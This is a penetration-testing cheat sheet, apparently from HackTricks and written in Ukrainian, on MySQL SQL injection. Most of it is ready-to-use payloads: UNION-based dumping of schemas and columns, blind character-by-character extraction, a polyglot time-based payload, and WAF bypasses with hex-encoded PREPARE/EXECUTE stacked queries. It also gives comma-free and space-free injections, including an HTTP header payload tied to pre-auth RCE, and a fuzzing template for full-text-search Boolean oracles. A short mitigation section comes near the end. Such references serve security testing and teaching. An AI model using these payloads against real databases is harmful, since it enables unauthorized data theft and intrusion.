MySQL injection
Reading time: 9 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Коментарі
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Цікаві функції
Підтвердити Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Корисні функції
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Всі injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
з https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Потік
Пам'ятайте, що в "сучасних" версіях MySQL можна замінити "information_schema.tables" на "mysql.innodb_table_stats" (Це може бути корисно для обходу WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Тільки 1 значення
group_concat()
Limit X,1
Blind one by one
substr(version(),X,1)='r'
orsubstring(version(),X,1)=0x70
orascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...
RPAD(version(),1...lenght(version()),'1')='asd'...
SELECT RIGHT(version(),1...lenght(version()))='asd'...
SELECT LEFT(version(),1...lenght(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
Виявлення кількості стовпців
Використовуючи простий ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Тут показано різні варіанти, як abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Виконання запитів через Prepared Statements
Якщо дозволені stacked queries, можна обійти WAFs, присвоївши змінній hex-представлення запиту, який ви хочете виконати (за допомогою SET), а потім використавши PREPARE та EXECUTE MySQL для виконання цього запиту. Щось на кшталт цього:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Для отримання додаткової інформації зверніться до this blog post.
Information_schema альтернативи
Пам'ятайте, що в «сучасних» версіях MySQL ви можете замінити information_schema.tables на mysql.innodb_table_stats або на sys.x$schema_flattened_keys або на sys.schema_table_statistics
MySQLinjection без COMMAS
Select 2 columns без використання жодної коми (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Отримання значень без назви стовпця
Якщо в якийсь момент ви знаєте назву таблиці, але не знаєте назви стовпців у ній, ви можете спробувати з'ясувати, скільки там стовпців, виконавши щось на кшталт:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Припустивши, що є 2 стовпці (перший — ID, а другий — flag), ви можете спробувати bruteforce вміст flag, перебираючи по одному символу:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Детальніше: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection без SPACES (/**/
трюк з коментарями)
Деякі застосунки очищують або парсять введення користувача за допомогою функцій, таких як sscanf("%128s", buf)
, які зупиняються на першому пробілі.
Оскільки MySQL трактує послідовність /**/
як коментар і як пробільний символ, її можна використати, щоб повністю видалити звичні пробіли з payload, зберігаючи при цьому запит синтаксично валідним.
Приклад time-based blind injection, що обходить фільтр пробілів:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Що база даних отримує у вигляді:
' OR SLEEP(5)-- -'
Це особливо корисно, коли:
- Керуємий буфер обмежений за розміром (наприклад,
%128s
) і пробіли передчасно завершували б введення. - Інжекція через HTTP headers або інші поля, де звичайні пробіли видаляються або використовуються як роздільники.
- У поєднанні з
INTO OUTFILE
примітивами для досягнення повного pre-auth RCE (див. розділ MySQL File RCE).
Історія MySQL
Ви можете побачити інші виконання всередині MySQL, читаючи таблицю: sys.x$statement_analysis
Версія альтернативи
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Це не класичний SQL injection. Коли розробники передають вхідні дані користувача в MATCH(col) AGAINST('...' IN BOOLEAN MODE)
, MySQL виконує багатий набір Boolean search операторів всередині лапок. Багато правил WAF/SAST фокусуються лише на розриві лапок і не помічають цього вектору.
Key points:
- Оператори обчислюються всередині лапок:
+
(має бути присутній),-
(не повинен бути присутній),*
(постфіксна маска — wildcard),"..."
(точна фраза),()
(групування),<
/>
/~
(ваги). Див. документацію MySQL. - Це дозволяє перевірки на наявність/відсутність та префіксні тести без виходу з рядкового літералу, напр.,
AGAINST('+admin*' IN BOOLEAN MODE)
для перевірки будь-якого слова, що починається зadmin
. - Корисно для побудови оракулів, таких як «чи містить якийсь рядок термін з префіксом X?» та для переліку прихованих рядків шляхом розгортання префікса.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Якщо додаток повертає різні відповіді залежно від того, чи порожній набір результатів (наприклад, redirect vs. error message), така поведінка перетворюється на Boolean oracle, який можна використати для перебору приватних даних, таких як приховані/видалені заголовки.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: якщо backend обрізає 1–2 символи в кінці кожного слова за допомогою regex на кшталт
(\b.{1,2})(\s)|(\b.{1,2}$)
, відправтеprefix*ZZ
. The cleaner trims theZZ
but leaves the*
, soprefix*
survives. - Early-break stripping: якщо код видаляє оператори по словах, але припиняє обробку, коли знаходить будь-який токен довжини ≥ min length, надішліть два токени: перший — junk token, який відповідає порогу довжини, другий несе operator payload. Наприклад:
&&&&& +jack*ZZ
→ після очищення:+&&&&& +jack*
.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26
це&
,%2B
це+
. ТрейлінговийxD
(або будь-які дві літери) обрізається очищувачем, зберігаючи{FUZZ}*
.- Трактуйте редирект як “match” і сторінку помилки як “no match”. Не слідуйте редиректам автоматично, щоб зробити oracle спостережуваним.
Робочий процес енумерації:
- Починайте з
{FUZZ} = a…z,0…9
, щоб знайти збіги по першій літері через+a*
,+b*
, … - Для кожного позитивного префікса розгалужуйте:
a* → aa* / ab* / …
. Повторюйте, щоб відновити весь рядок. - Розподіляйте запити (проксі, кілька акаунтів), якщо додаток застосовує обмеження частоти запитів.
Чому заголовки часто leak, тоді як вміст — ні:
- Деякі додатки застосовують перевірки видимості тільки після попереднього MATCH по заголовках/темах. Якщо потік керування залежить від результату “any results?” перед фільтрацією, виникають existence leaks.
Заходи пом'якшення:
- Якщо вам не потрібна Boolean логіка, використовуйте
IN NATURAL LANGUAGE MODE
або обробляйте введення користувача як літерал (escape/quote відключають оператори в інших режимах). - Якщо потрібен Boolean режим, видаляйте або нейтралізуйте всі Boolean оператори (
+ - * " ( ) < > ~
) для кожного токена (не допускаючи ранніх переривань) після токенізації. - Застосовуйте фільтри видимості/авторизації перед MATCH, або уніфікуйте відповіді (константний час/статус) коли набір результатів порожній vs. непорожній.
- Перегляньте аналогічні можливості в інших DBMS: PostgreSQL
to_tsquery
/websearch_to_tsquery
, SQL Server/Oracle/Db2CONTAINS
також парсять оператори всередині аргументів у лапках.
Примітки:
- Prepared statements не захищають від семантичного зловживання
REGEXP
або пошуковими операторами. Вхід на кшталт.*
залишається дозволяючим regex навіть всередині цитованогоREGEXP '.*'
. Використовуйте allow-lists або явні запобіжники.
Other MYSQL injection guides
Посилання
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.